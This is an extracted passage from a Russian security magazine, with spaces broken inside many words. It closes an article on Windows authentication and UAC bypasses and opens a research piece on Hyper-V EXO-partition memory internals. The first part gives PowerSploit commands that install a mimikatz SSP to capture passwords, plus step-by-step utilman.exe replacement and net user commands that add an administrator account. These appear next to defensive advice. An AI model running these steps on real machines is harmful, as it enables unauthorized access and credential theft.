решений субъе  кт получа ет дост  уп или отказ.

По луче ние дос тупа

Под робнее о ACL/ACE мож но почитать на порт  але Microsoft или на сайт  е ntf‐
s.com.  Так же  в  этом  может  учас тво вать  механизм  Mandatory  Integrity  Control,
который  про веряе  т  дос туп  к  объ екту  по  уровн  ю  надеж ности  того,  кто  этот
дост  уп зап рашива ет.

INFO

Кстат  и,  повыше ние  прив  илег  ий  за  счет  DACL
было  использ  овано  в  прошл  огод ней  уяз вимос ти
CVE‐2019‐0841  (мы  о  ней  пис  али).  Крив  о
выпущен ный  патч  —  зна комые  грабл  и,  о  которых
уже рас сказ  ывал «Хакер». Такж  е в 2018 году была
уязв  имость CVE‐2018‐1036, связ  ан ная с обход  ом
разр  ешений.

По мимо  прив  илег  ий,  есть  еще  один  спо соб  конт  ро лиров  ать  дейс  твия  поль‐ 
зовате ля,  треб  ующие  прав  адми нист  ра тора.  Для  это го  был  соз дан  хо рошо
извест  ный UAC (User Access Control). Иде ала, разуме ется, не бывае  т, поэто му
вот нес коль ко ста рых ссы лок для дальн  ейше го изуч  ения методик обход  а UAC.
• Bypass User Account Control (MITRE)
• Defeating Windows User Account Control (GitHub)
• FUCK  UAC!  10  спо собов  обхо да  сист  емы  User  Account  Control  в  Windows

(«Хакер»)
• Тех ника обхо да UAC в Windows 10 через App Paths в реес тре («Хакер»)
• UAC Bypass, или исто рия о трех эскал  ация  х (Хабр)
• How to bypass UAC in newer Windows versions (zc00l)
• User Account Control — What Penetration Testers Should Know (Cobalt Strike)

АУТЕНТИФИКАЦИЯ И АВТОРИЗАЦИЯ
Как уже упо минал  ось, за аутент  ификац  ию отвеч  ает LSASS. На деле, конечн  о,
все  выг лядит  слож нее.  Ниже  прив  еде на  схем  а  механизм  а  аутен тификац  ии
для ста рых верс  ий Windows.

Вкрат це  это  работа ет  так:  в  LSASS  пост  упа ют  аутент  ификац  ионн  ые  данн  ые
(пароль, биомет рия и проч  ее), затем Windows про изво дит авто риза цию. Хеш
от  аутент  ификац  ионн  ых  данн  ых  клад  ет ся  в  SAM,  а  поль зовательс  ком  у  про‐ 
цесс  у  наз начае  тся  мар кер  дост  упа.  Рас простра ненн  ая  проб лема  сост  оит
в том, что можн  о сох раненн  ые хеши  сдамп  ить  (нап ример,  при  помощи  всем
извес тно го mimikatz) и пров  ес ти атак  у pass‐the‐hash.

В  Windows  10  до бавил  и  Credential  Guard  (вмест  е  с  ним,  кста ти,  появил ся
новый  про цесс  —  Lsalso.exe).  Этот  механизм  дол жен  был  защитить,  в  час‐ 
тност  и, от использ  ования mimikatz. Но на кажд  ого хит реца най дет ся свой муд‐ 
рец.

Преж де  все го,  Credential  Guard  —  опци ональн  ая  фун кция,  которая  может
быть отклю чена. Так как Credential Guard осно ван на механизм  е Virtual Secure
Mode  (VSM),  который,  в  свою  оче редь,  базиру ется  на  механизм  ах  вирт  уали‐ 
зации CPU, то не сто ит забывать и об ап парат ных уязв  имос тях, поз воля ющих
обой ти Credential Guard.

Ну  и  напос ледок  нуж но  помн  ить,  что  введ  енн  ый  пароль  пре одо лева ет
некото рый  путь  перед  тем,  как  будет  сохр  анен  в  компь ютер  е  для  посл  еду‐ 
ющей  авто риза ции.  Это  знач  ит,  что  его  можн  о  получить  с  помощью  кей лог‐ 
гера  или  кас томно го  SSP  (security  support  provider).  Посл  еднее  возм  ожно
с  помощью  mimikatz  —  при мер  есть  в  недав ней  статье.  Помимо  mimikatz,
перех ватить  пароль  помогут  Empire,  SharpSploit  или  PowerSploit,  в  которых,
по сути, исполь зует ся интегрир  ованн  ый mimikatz. Аль тер нативой в PowerSploit
могут быть сле дующие коман ды:

Import‐Module .\PowerSploit.psm1
Install‐SSP ‐Path .\mimilib.dll

WWW

Для  общег  о  разв  ития  полез но  будет  почитать
пре зен тацию  по  pass‐the‐hash  для  Windows  10,
пред став ленную  инсти тутом  SANS,  и  изу чить
основные  методы  за щиты  от  mimikatz  в  домене
Active Directory.

Ест  ест  венн  о,  обойт  и  сист  емы  безопасн  ости  Windows  поз волят  и  методы
соци альн  ой  инжен  ерии.  Нап ример,  мож но  через  msf  и  msfvenom  получить
реверс‐шелл,  с  помощью  его  загр  узить  на  целевую  сис тему  спе циаль ный
исполняе  мый  файл  для  ими тации  окна  авто риза ции,  а  потом  запус тить  его
из  шел ла.  На  экран  е  польз  овате ля  отобр  азит ся  окно,  как  при  вход  е  в  сис‐ 
тему, — при этом инст  ру мент про веря ет, пра виль ный ли пароль вве ден.

Кстат  и, есть ста рый трюк для обхо да окна авто ризац  ии, который на удив‐ 
ление может сраб  отать и в Windows 10. Суть это го спо соба в том, что нужн  о
заменить  прог рамму  sethc.exe  на  cmd.exe  прос тым  переи  ме нован  ием,
а затем выз вать sethc.exe, пять раз нажав кла вишу Shift. Пос ле это го мож но
смен  ить  пароль  польз  овате ля.  Еще  в  Windows  10  сущест  ву ет  возм  ожность
сдел  ать при мер но сле дующее:
1. Встав  ить загр  узочн  ый USB, перезагр  узить компью  тер, затем нажать Shift +

F10, что бы открыть cmd.exe.
2. Ввест  и  команд  у  move  D:\windows\Sstem32\utilman.exe  D:\win­

dows\system32\utilman.exe.bak.
3. Для  маск  иров ки  cmd  под  utilman  ввест  и  коман ду  copy  D:\windows\

system32\cmd.exe D:\windows\System32\utilman.exe.
4. Пер  езаг рузить компь ютер без загр  узочн  ого USB.
5. Посл  е  загр  узки  нажать  «Спе циаль ные  возм  ожнос ти»  (рядом  с  кноп кой

вык лючения питания в окне авто ризац  ии).
6. Для соз дания нового польз  овател  я ввес ти команд  у net user youruser

/add.
7. Для  добав ления  нового  польз  овате ля  в  групп  ы  админ  ист  рат  оров  исполь‐ 

зовать коман ду net localgroup administrators youruser /add.

Мож но добить ся подобн  ого эффекта, если у тебя уже есть дост  уп к сист  еме
с  прав  ами  редакт  ирован  ия  реес тра.  В  этом  случ  ае  нужн  о  в  вет ке  HKEY_LO‐
CAL_MACHINE\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Image 
File  Execution  Options\  добавить  раз дел  utilman.exe,  в  котором  про‐ 
писать ключ с типом String Value и знач  ение  м в виде пути до нужн  ой прог‐ 
раммы.  Эта  прог рамма  будет  запус катьс  я  при  попыт ке  открыть  окно  спе‐ 
циальн  ых воз можнос тей.

От  это го  опять‐таки  спа сает  шифр  ование  диск  а.  Для  запр  ета  смен  ы
пароля  опре деленн  ого  юзер  а  можн  о  использ  овать  учет ную  запись  Microsoft
вмес то локальн  ой. Такж  е можн  о отклю чить для всех юзер  ов прав  а на выпол‐ 
нение utilman.exe  и  sethc.exe.  Ну  и  допол нительн  о  вклю чить  Secure  Boot
и  пост  авить  пароль  на  BIOS/UEFI.  Кстат  и,  этот  трюк  показыв  ал ся  в  сериа  ле
Mr.Robot в третье  й серии чет вертог  о сезона.

Так же  для  бай паса  окна  автор  иза ции  есть  ста рый,  но  по‐преж нему
рабочий  инст  рум  ент  (с  подд  ер жкой  Windows  10)  под  наз вание  м  kon‐boot.
Правд  а, работае  т он с некото рыми огра ничен  иями (нап ример, не подд  ержи‐ 
вает ся  вклю чен ный  secure  boot).  Что бы  защитить ся  от  него,  нуж но  вклю чить
в  сис теме  фун кции,  которые  инст  ру мент  не  под держив  ает.  Ну  и  конечн  о,
не  сто ит  забывать  про  HID‐атак  и  (см.  обзорные  статьи  за  2015  и  2018  годы,
а так же рук  оводс тво по соз данию BadUSB с Wi‐Fi на Arduino).

ПОСТЭКСПЛУАТАЦИЯ
Час то  бывае  т  так,  что  эксп  лу ата ция  уяз вимост  и  ведет  к  получен  ию  дост  упа,
напр  имер, к учет ной записи веб‐сер вера, а не к учет ной записи админ  ист  ра‐ 
тора.  Пути  тут  два:  повышать  прив  иле гии  и  искать  инте ресн  ую  информа цию,
к которой есть дост  уп. Если речь идет о доменн  ом компь юте ре, то такж  е мож‐ 
но  почерп  нуть  полез ные  свед  ения  из  нед  ав ней  статьи,  посв  ящен ной  сбо ру
информац  ии  в  домене.  Для  поиск  а  инте ресн  остей  в  ском пром  ети рованн  ой
сис теме  есть  мно жест  во  скрип тов,  напр  имер  winPEAS,  Seatbelt,  Powerless,
Privesc, Sherlock, JAWS, Watson и SharpUp.

Но сто ит учесть, что такие скрипт  ы «шумн  ые». Тем более прогр  аммы, тре‐ 
бующие  .NET,  могут  и  не  сра ботать,  если  в  сис теме  наст  рое  н  бе лый  спи сок
ПО.

Дополнительные ссылки

При  желании  ты  можешь  сам  поиск  ать  нуж ную  информац  ию.  В  этих  целях
рекомен дует ся  использ  овать  спис ки  LPE  (local  privilege  escalation).  Вот  нес‐ 
коль ко полезн  ых ссы лок:
• Windows Local Privilege Escalation (HackTricks)
• Windows / Linux Local Privilege Escalation Workshop (sagishahar)
• Privilege Escalation (ired.team)
• Windows — Privilege Escalation (swisskyrepo)
• Windows‐Privilege‐Escalation (frizb)
• Windows Privilege Escalation — a cheatsheet (pentest.tonyng.net)
• Privilege Escalation Windows (Total OSCP Guide)
• Windows Privilege Escalation Guide (absolomb.com)
• Windows Privilege Escalation Scripts & Techniques (Рахм  ат Нур фаузи)
• Stored Credentials (Penetration Testing Lab)
• Стань  админ  ом!  11  техн  ик  атак  с  повышен  ием  при виле гий  в  Windows

(«Хакер»)
• Осн  овы повыше ния при вилег  ий в Windows (artdeep.i.tech)

В  матери алах,  ссыл ки  на  которые  прив  еден  ы  выше,  мельк  ает  экс плуа  та ция
ядра  как  спо соб  повышен  ия  прив  иле гий.  Стои  т  учесть,  что  в  Windows  есть
механизм  защиты  ядра  Kernel  Patch  Protection  (PatchGuard),  но  и  этом  у
механиз му  тоже  не  чуж ды  уяз вимос ти.  Так же  при  пос тэкс плу атац  ии  стои  т
знать про наличие AppContainer.

ЗАКЛЮЧЕНИЕ
Без  опас ность зависит не тольк  о от недочет  ов в ло гике, но и от прог рам мных
оши бок, вплоть до бинар ных уяз вимост  ей в яд ре.

По явлен  ие  новых  механизм  ов  защиты  и  спо собов  обхо да  этих  механиз‐ 
мов  —  беск  онечн  ый  цикл.  Нуж но  регулярн  о  пров  одить  аудит,  в  чем  тебе
помогут сле дующие полез ные ссыл ки:
• Гайд по безопасн  ости дес ктопн  ых верс  ий Windows (CIS)
• Статья про комп  лексный аудит безопасн  ости («Хакер»)
• Обз  ор сист  емы безопас ности в Windows 10 (Microsoft)
• Све дения о безопас ности в кор поративн  ой вер сии Windows 10 (Microsoft)

Но  для  пол ного  пониман  ия  вещей  полезн  о  знать,  как  все  устро ено  внут ри.
Луч шим источник  ом информа ции в этой области счит  ает ся книг  а Мар ка Рус‐ 
синович  а под назв  ание  м Windows internals (на дан ный момент выпущен  а пер‐ 
вая часть 7‐го изда ния, втор  ая часть находит ся в раз работ ке).

ВЗЛОМ

КАК УСТРОЕНА ПАМЯТЬ

HYPER-V

EXO‐РАЗДЕЛЫ И ВИРТУАЛЬНЫЕ
МАШИНЫ СТОРОННИХ
ПРОИЗВОДИТЕЛЕЙ

Артур Худяев
[email protected]

За пос ледние неск  оль ко лет в Microsoft созд  али мас су проб‐ 
лем для раз работч  иков вир туальн  ых машин. При чина тому —
ряд новых тех нологий (VBS, Windows Sandbox, WSL), активно
исполь зующих  воз можност  и  аппар  атн  ой  вир туализ  ации  Hy‐
per‐V.  Раз работ чики  стор  он него  ПО  для  вирт  уали зации
больш  е не могут при менять собст  венн  ый гиперв  изор и дол‐ 
жны полагать ся на API, который пред  ост  авляе  т Microsoft.

Плат форма  вир туализ  ации  Hyper‐V,  разр  аботанн  ая  в  Microsoft,  появи лась
дост  аточн  о дав но — перв  ый докл  ад о ней опубл  икован на кон ференц  ии Win‐
HEC  в  2006  году,  сама  плат форма  была  интегри рован  а  в  Windows  Server
2008. На перв  ых порах в Microsoft охот но делились опи сание  м API Hyper‐V (он
даже  прис  утс тво вал  в  Microsoft  SDK  7.0),  но  со  вре менем  офи циальн  ой
информац  ии об интерфей сах Hyper‐V ста нови лось все мень ше. В конц  е кон‐ 
цов  она  оста лась  толь ко  в  виде  Hyper‐V  Top  Level  Function  Specification,
которые  пре дост  авля ют  разр  абот чикам  опе рацио  нных  сист  ем,  желаю  щим
соз дать усло вия для работы сво ей ОС внут ри Hyper‐V.

Еще больш  ие проб лемы воз никли пос ле того, как в Windows 10 внедр  или
тех нологию  Virtualization  Based  Security  (VBS),  комп  онен ты  которой  (Device
Guard, Code Integrity и Credential Guard) использ  уют Hyper‐V для защиты кри‐ 
тичн  ых  комп  онен тов  опе рацио  нной  сис темы.  Оказ  алось,  что  сущест  ву ющие
сист  емы  вирт  уали зации,  такие  как  QEMU,  VirtualBox  и  VMware  Workstation,
не  могут  работать  в  этих  усло виях  при  исполь зовании  фун кций  аппа рат ной
вир туализ  ации  про цесс  ора.  Работаю  щий  Hyper‐V  прос то  блок  иров  ал  их
выпол нение.

VBS  появил ся  в  Enterprise‐вер сии  Windows  10,  build  1511
(ноябрь  2015  года)  как  отдель ный  комп  онент,  но  в  сбор ке  1607  уже  стал
частью ОС, а в декабр  е 2019‐го его сдел  али акт  ивным  по  умол чанию. Из‐за
это го начались сбои сто рон них вир туальн  ых машин.

Для  решения  этой  пробл  емы  Microsoft  разр  аботал  а  Windows  Hypervisor
Platform API, которые пред  ос тавля ют след  ующие возм  ожност  и для сто рон них
раз работ чиков:
• созд  ание «разд  елов» Hyper‐V и управлен  ие ими;
• упр  авлен  ие памятью для кажд  ого разд  ела;
• упр  авле ние вирт  уаль ными про цесс  орами гиперв  изора.
Смысл  этих  API  в  том,  что бы  пре дос тавить  прил  ожен  ию  воз можность
управлять ресур сами про цес сора, читать и писать знач  ения регис тров, при‐ 
оста нав ливать  работу  про цесс  ора,  генерир  овать  прер  ыва ния.  Это  некий
абсо лют ный минимум для работы с вирт  уальн  ыми ресурс  ами.

API  стал  и  дост  упны  в  Windows  10  начиная  со  сбор ки  1803  (April  2018  up‐
date), через комп  онент Windows Hypervisor Platform (WHPX). Пер вым под дер‐ 
жкой WHPX обзав  ел ся эмул  ятор QEMU, для которо го прогр  аммист  ы Microsoft
разр  абота ли  модуль  уско рения  WHPX,  про демонс трир  овав,  что  их  API
работос пособ ны.  За  ними  пос ледовал  и  раз работ чики  Oracle  VirtualBox,
которым  пришл  ось  неск  ольк  о  раз  перепис  ать  код  под держ  ки  WHPX  по  при‐ 
чине измен  ений в Windows 10 1903.

Ком пания  VMware  выпус тила  верс  ию  свое  й  вирт  уальн  ой  машины  с  под‐ 
держ  кой  Hyper‐V  тольк  о  28  мая  2020  года  (верс  ия  15.5),  аргум  ент  ировав
столь  дол гую  задерж  ку  необх  одимостью  перепи сать  весь  стек  вирт  уали‐ 
зации.

При  этом  реали зация  VMware  для  Hyper‐V  потерял  а  подд  ер жку  влож  ен ной
вирт  уализ  ации,  и  будет  ли  она  добавл  ена  —  неизв  ес тно.  Так же  сейч  ас
обсуждаю  т, что про изво дительн  ость замет но сниз  илась.

Ито го в наст  оящее врем  я WHPX API исполь зуют ся:
• в QEMU;
• VirtualBox;
• VMware Workstation, начиная с вер сии 15.5 (а так же Preview верс  ии 20H2);
• Android emulator, соз данном Google;
• Applepie — A Hypervisor For Fuzzing Built With WHVP And Bochs.
Мож но  ска зать,  что  пока  API  получае  тся  исполь зовать  эффектив но  тольк  о
в  user  mode  (QEMU,  Bochs).  И  что  будет  даль ше  —  непонят но.  С  одной  сто‐ 
роны, мож но заметить, что API меняю  тся. Новые фун кции появ ляют ся каж дые
пол года при выходе новой верс  ии Windows и даже при выпуск  е ежем  есяч ных
кумулят  ивн  ых обновле ний.

Напр  имер,  вот  спи сок  фун кций,  экспор тиру емых  vid.dll  в  зависи мос ти
от верс  ии Windows.

Как  вид но,  набор  функ  ций  меняе  тся,  осо бенн  о  для  сер верных  вер сий
Windows.

Для  WHVP  API  все  горазд  о  более  стаб  ильн  ее,  что,  в  общем‐то,  логичн  о
для публ  ичных API.

Офиц  иаль ная документ  ация Hyper‐V TLFS обновля ется крайн  е ред ко — пос‐ 
ледний  апдейт  зат ронул  появ ление  влож  ен ной  вирт  уали зации,  но  информа‐ 
ции  не  слишк  ом  мно го,  она  поз воляе  т  счи тать  данн  ые  о  внут ренних  струк‐ 
турах гиперв  изора, что я делал в свое врем  я с помощью утил  иты LiveCloudKd.
Пока  эту  информа цию  получа ется  использ  овать  толь ко  в  исслед  ова тель ских
целях  —  прим  енить  ее  на  прак тике,  интегри ровав,  напр  имер,  в  отладчик,
не пред став ляет ся возм  ожным.

От дель но сто ит упо мянуть, что облак  о Microsoft Azure использ  ует одну и ту
же  кодовую  базу  с  Hyper‐V,  о  чем  говорит  менед жер  Hyper‐V  Бен  Армстронг
(зап  ись  сесс  ии  —  на  треть ей  минуте).  Одна ко  основной  модуль  Hyper‐V
в Azure отлич  ает ся и явно собр  ан с некотор  ыми директ  ивами условной ком‐ 
пиляции  (дос таточ но  срав нить  hvix64/hvax64  для  Windows  Server  2019  и  Win‐
dows 10, что бы опре делить, что они отли чают ся дост  аточ но сильн  о).

Термины и определения

• WDAG — Windows Defender Application Guard (или MDAG — Microsoft De‐
fender Application Guard в более новых верс  иях Windows).

• Full  VM  —  стан дар тная  пол ноцен ная  вир туальн  ая  машина,  соз данная
в  Hyper‐V  Manager.  Отли чает ся  от  конт  ей неров  WDAG,  Windows  Sandbox,
Docker в режиме изо ляции Hyper‐V.

• Root  ОС  —  опер  аци онная  сист  ема,  в  которой  уста нов лена  серв  ерная
часть Hyper‐V.

• Гост  евая  ОС  —  опер  аци онная  сис тема,  которая  работае  т  в  конт  екс  те
эму ляции Hyper‐V, в том чис ле исполь зуя вирт  уальн  ые устрой ства, пре дос‐ 
тавля емые  гиперв  изором.  В  статье  могут  иметь ся  в  виду  как  Full  VM,  так
и кон тей неры.

• TLFS  —  офи циаль ный  документ  Microsoft  Hypervisor  Top‐Level  Functional
Specification 6.0.

• GPA  (guest  physical  address)  —  физическ  ий  адрес  памяти  гос тевой
опер  аци онной сист  емы.

• SPA (system physical address) — физичес кий адрес памяти root ОС.
• Гип  ер вызов (hypercall)  —  серв  ис  гиперв  изора,  вызыва емый  поср  едс‐ 

твом  выпол нения  коман ды  vmcall  (для  про цесс  оров  Intel)  с  ука зани ем
номера гиперв  ызова.
• VBS (Virtualization Based Security) — средс тво обес печения безопас‐ 
ности на осно ве вирт  уали зации.
• EXO-разд  ел  —  объе  кт  «разд  ел»,  соз дава емый  при  запус ке  вирт  уаль ных
машин, работаю  щих под управлен  ием Windows Hypervisor Platform API.
• WHVP API — Windows Hypervisor Platform API.

УСТРОЙСТВО ПАМЯТИ EXO-РАЗДЕЛОВ
В  сво ем  иссле дова нии  я  исполь зовал  Windows  10  x64  Enterprise  20H1  (2004)
в  качест  ве  root  ОС  и  для  некотор  ых  случ  аев  Windows  10  x64  Enterprise
1803  с  апдей тами  на  июнь  2020‐го  (ее  под держ  ка  закон чится  в  нояб ре 
2020‐го,  поэто му  информац  ия  пред  ос тавлен  а  исключ  ительн  о  для  срав‐ 
нения). В качест  ве гост  евой ОС — Windows 10 x64 Enterprise 20H1 (2004).

В  Windows  SDK  19041  (для  Windows  10  2004)  при сутс тву ют  три  заголо воч‐ 
ных файл  а:
• WinHvPlatform.h;
• WinHvPlatformDefs.h;
• WinHvEmulation.h.
Фун кции  экспор тиру ются  биб лиотек  ой  winhvplatform.dll  и  опис  аны
в  заголо воч ном  фай ле  WinHvPlatform.h.  Эти  функ  ции  —  оберт  ки  над  сер‐ 
висами, пред  ост  авля емым  и vid.dll (биб лиоте ка драй веров инфраструкт  уры
вир туализ  ации  Microsoft  Hyper‐V),  которая,  в  свою  оче редь,  вызыва ет  сер‐ 
висы драй вера vid.sys (Microsoft Hyper‐V Virtualization Infrastructure Driver).

Крат ко  расс  мот рим,  что  прои  сход  ит  при  запуск  е  вирт  уаль ной  машины.
В качест  ве референс  а вос польз  уемс  я ис ходным кодом QEMU WHPX.

При запус ке QEMU в режиме аппар  ат ного уско рения WHPX соз дают ся два
дес крип тора \Device\VidExo, которые поз воля ют получить дост  уп к устрой‐ 
ству, созд  ава емо му драй вером vid.sys, из польз  овательс  ко го режима.

Оба деск  рип тора — файл  овые объ екты.

Ес ли посм  отреть FsContext кажд  ого, то он ука зывае  т на разл  ичные струк туры
данн  ых, име ющие сигн  атуры Exo и Prtn.

Ло гику  работы  с  Prtn‐разд  елом  (струк турой  VM_PROCESS_CONTEXT)  мож но
пос мотреть  в  исходник  ах  драйв  ера  hvmm.sys,  который  исполь зует ся  в  Live‐
CloudKd (ссыл ка).

С  помощью  WinDbg  и  плаг  ина  PyKD  можн  о  проп  арс  ить  эту  струк туру
и вытащить знач  имые эле мент  ы.

Как  видн  о,  в  драй вере  winhvr.sys  в  масс  иве  WinHvpPartitionArray  EXO‐
объ ект не регист  рир  ует ся (прис  утст  вуе  т тольк  о один Prtn‐объ ект), то есть он
не пол ноценн  ый объ ект разд  ела. EXO‐объ ект — это адрес перемен ной vid.
sys!VidExoDeviceContext.

Prtn‐объе  кт,  созд  ава емый  для  EXO‐раз делов,  не  содерж  ит  имен  и  раз дела.
Напр  имер,  для  full  VM  Prtn‐объ ект  содерж  ит  имя  вирт  уаль ной  машины,
для конт  ей неров пост  оян ное имя — Virtual machine. Тем не менее GUID раз‐ 
дела в объ екте EXO‐разд  ела прис  утс тву ет.

Ко личес тво EXO‐фун кций в драйв  ере vid.sys не так велико.

В  клю че  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vid\
Parameters сущес тву ет два парамет ра:

ExoDeviceEnabled
ExoDeviceEnabledClient

Ес ли  зна чение  обо их  парамет ров  равн  о  0,  то  ничего  не  про исхо дит,  но,
как  толь ко  один  из  них  меняе  тся,  сраз  у  сра баты вает  функ  ция  Vid.
sys!VidExopRegKeyNotificationHandler (перех ват изме нений в ука зан ном
клю че реес тра регис три рует ся через nt!ZwNotifyChangeKey на ранн  ем эта‐ 
пе загр  узке драйв  ера vid.sys).

Ес ли хотя бы одна из переменн  ых равн  а 1, то выпол няет ся функ  ция VidEx‐
opDeviceSetupInternal, которая созд  ает объе  кт‐устрой ство \Device\VidExo,
симв  олическ  ую ссыл ку \DosDevices\VidExo и регис три рует функ  ции‐обра бот‐ 
чики:

VidExopFileCreate
VidExopFileClose
VidExopFileCleanup
VidExopIoControlPreProcess

Такж  е  она  зарегис трир  ует  отдель ные  обра бот чики  для  быст  рог  о  вво‐ 
да‐вывода (fast I/O):

VidExoFastIoControlPartition
VidExoFastIoControlDriver

Фун кция завер шает ся вызовом

VidObjectHeaderInitialize(VidExoDeviceContext, ' oxE')

Vid.sys!VidExopIoControlPreProcess  —  функ  ция,  которая  исполь зует ся
для  обраб  от ки  IOCTL‐запр  осов,  нап равляе  мых  объе  кту  \Device\VidExo.
Из  нее  вызыва ется  функ  ция  vid.sys!VidIoControlPreProcess,  в  качест  ве
пер вого  парамет ра  которой  переда ется  струк тура  VM_PROCESS_CONTEXT.
Если VM_PROCESS_CONTEXT содерж  ит сиг натуру Prtn, то будет выпол нена vid.
sys!VidExoIoControlPartition,  если  Exo,  то  VidExoIoControlDriver
(посл  едняя  сво дит ся  к  выпол нению  вызова  winhvr!WinHvGetSystemInfor‐
mation с опред  еленн  ыми парамет рами; впро чем, я не видел, чтоб  ы эта фун‐ 
кция  выпол нялась,  ведь  EXO‐раз дел  —  это  не  полн  оценн  ый  раз дел).  Соот‐ 
ветст  вен но,  даже  в  случ  ае  WHVP  API  почт  и  вся  работа  ведет ся  с  Prtn‐объ‐ 
ектом.

Из функ  ции vid.sys!VidExoIoControlPartition могут быть выз ваны:

VidIoControlPartition
WinHvInstallIntercept
WinHvSetLocalInterruptControllerState
WinHvGetLocalInterruptControllerState
VsmmExoGpaRangeIoctlAccessTrackingControl
VsmmExoGpaRangeIoctlUnmap
VsmmExoGpaRangeIoctlMap

Из vid.sys!VidIoControlPartition может вызывать ся огран  ичен ный набор
зап росов IOCTL.

Он  соот ветст  вуе  т  огра ниченн  ому  набору  функ  ций,  пре дос тавляе  мых  WHVP
API.  При  выпол нении  зап рещен ного  зап роса  будет  возв  ращ  ен  код  ошиб ки
C0000002h.

Как вид но, фун кции чтен  ия и записи памяти недос тупны через API, поэтом  у
дост  уп  к  ней  штат ными  средс тва ми  невозм  ожен.  Необ ходимо  углу бить ся
во  внут реннос ти  драй вера  vid.sys  и  рас смот реть  структ  уру  соз давае  мых
бло ков памяти.

В  целом  орга низац  ия  памяти  объ ектов,  управляе  мых  Hyper‐V,  выг лядит
сле дующим образ  ом.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

КАК УСТРОЕНА ПАМЯТЬ
HYPER-V

EXO‐РАЗДЕЛЫ И ВИРТУАЛЬНЫЕ МАШИНЫ
СТОРОННИХ ПРОИЗВОДИТЕЛЕЙ

Есл  и  крат ко,  то  для  кажд  ой  вирт  уальн  ой  машины  соз дает ся  объ ект  VM_PRO‐

CESS_CONTEXT. Память вир туальн  ой машины опис  ывае  тся струк турами MEMO‐

RY_BLOCK и GPAR_BLOCK.

Для  обыч ных  вирт  уаль ных  машин,  созд  анных  через  Hyper‐V  Manager,
в струк туре MEMORY_BLOCK находит ся ука затель на мас сив guest OS GPA array,

который  сопост  авля ет  SPA  и  GPA.  Каж дый  MEMORY_BLOCK  опи сывае  т  свой

диапа зон  GPA.  Найд  я  опре делен ный  блок  и  получив  GPA,  можн  о  выпол нить
функ  ции  nt!IoAllocateMdl,  nt!MmMapLockedPagesSpecifyCache  и  про‐ 

читать данн  ые из памяти гос тевой ОС или записать их туда.
При  работе  с  кон тей нерами  созд  ает ся  отдель ный  kernel  mode  проц  есс

vmmem  (minimal  process).  При  этом  в  объ екте  VM_PROCESS_CONTEXT  содер‐ 

жится  ссыл ка  на  масс  ив  GPAR‐объ ектов,  в  которых  находят ся  GPA  и  сме‐ 
щения бло ков в про цесс  е vmmem. То есть отоб ражение (mapping) памяти уже
выпол нено,  и  для  чте ния/записи  нуж но  найт  и  объ ект,  опис  ываю  щий  необ‐ 
ходимый  GPA,  опре делить  смещ  ение  соот ветст  ву юще го  бло ка  памяти
в  адресном  прос транст  ве  vmmem  и  про читать  его  либо  записать  в  дан ные,
нап ример  с  помощью  встрое  нной  в  ядро  Windows  фун кции  MmCopyVir‐

tualMemory.

EXO‐раз делы имею  т дру гую орга низац  ию памяти.

Бло ки  памяти  сопост  авля ются  через  вызов  vid.sys!VsmmExoG‐
paRangeIoctlMap,  из  которой  вызывае  тся  vid.sys!VsmmVaGpaCoreMapG‐
paRange.

Нас  в  перв  ую  очер  едь  интер  есуе  т  vid.sys!VsmmVaGpaCorepFindRange,
которая  вызывае  тся  из  vid.sys!VsmmVaGpaCorepCreateGpaToVaMappings
и дает указ  ател  и на две функ  ции.

VsmmVaGpaCorepGpnCompareFunctionByPage

cmp rax, [rdx+40h] ; верхняя граница диапазона GPA
cmp rax, [rdx+38h] ; нижняя граница диапазона GPA

VsmmVaGpaCorepVpnCompareFunctionByPage

cmp rax, [rdx+20h] ; верхняя граница диапазона памяти процесса vmmem
cmp rax, [rdx+18h] ; нижняя граница диапазона памяти процесса vmmem

VsmmVaGpaCorepGpaRangeAllocate — выделя ет пул разм  ером 0x70h байт.
Ви дим след  ующие кус ки кода:

lea  rcx, [r13+57A0h]
mov  rdx, rdi
call cs:__imp_RtlRbRemoveNode

lea  rcx, [r13+57B0h]
call cs:__imp_RtlRbRemoveNode

По лучае  тся,  что  в  Prtn‐объ екте  по  сме щению  0x57A0  и  0x57B0  содерж  атся
структ  уры,  которые  передаю  тся  перв  ым  парамет ром  фун кции  nt!RtlRbRe‐
moveNode(_In_ PRTL_RB_TREE Tree, _In_ PRTL_BALANCED_NODE Node).

Опр  еделе ние RtlRbRemoveNode:

3: kd> dt ‐r1 nt!_RTL_RB_TREE
  +0x000 Root             : Ptr64 _RTL_BALANCED_NODE
     +0x000 Children         : [2] Ptr64 _RTL_BALANCED_NODE
     +0x000 Left             : Ptr64 _RTL_BALANCED_NODE
     +0x008 Right            : Ptr64 _RTL_BALANCED_NODE
     +0x010 Red              : Pos 0, 1 Bit
     +0x010 Balance          : Pos 0, 2 Bits
     +0x010 ParentValue      : Uint8B
  +0x008 Encoded          : Pos 0, 1 Bit
  +0x008 Min              : Ptr64 _RTL_BALANCED_NODE
     +0x000 Children         : [2] Ptr64 _RTL_BALANCED_NODE
     +0x000 Left             : Ptr64 _RTL_BALANCED_NODE
     +0x008 Right            : Ptr64 _RTL_BALANCED_NODE
     +0x010 Red              : Pos 0, 1 Bit
     +0x010 Balance          : Pos 0, 2 Bits
     +0x010 ParentValue      : Uint8B

По лучае  тся,  мы  име ем  дело  с  крас но‐чер ными  деревья  ми.  В  теорию
углублять ся  не  буду,  прост  о  пос мотрим,  каким  обра зом  это  реали зован  о
у Microsoft.

Два  дерева  VPN  (вероя  тно,  virtual  page  number)  и  GPN  (guest  page
number),  адрес  а  вер шин  которых  рас положен  ы  по  смещ  ени ям  0x57A0h
и 0x57B0h от начала Prtn‐структ  уры (для 20H1) соот ветс твен но.

2: kd> dps 0xffffd88344414000+0x57a0
ffffd883`444197a0  ffffd883`44dc9b70 — VPN‐дерево (адрес _RTL_RB_TREE
)
ffffd883`444197a8  ffffd883`44dcb060 — VPN‐дерево (адрес корня 
_RTL_BALANCED_NODE)
ffffd883`444197b0  ffffd883`443b2890 — GPN‐дерево (адрес _RTL_RB_TREE
)
ffffd883`444197b8  ffffd883`48d75890 — GPN‐дерево (адрес корня 
_RTL_BALANCED_NODE)
ffffd883`444197c0  00000000`00000000
ffffd883`444197c8  00000000`00000000

Расс  мот рим  каж дую  струк туру  в  отдельн  ос ти.  В  GPN‐дереве  есть  узлы
и листья, вклю чающие, помимо ссыл  ок на друг  ие элем  ент  ы дерева (заголов‐ 
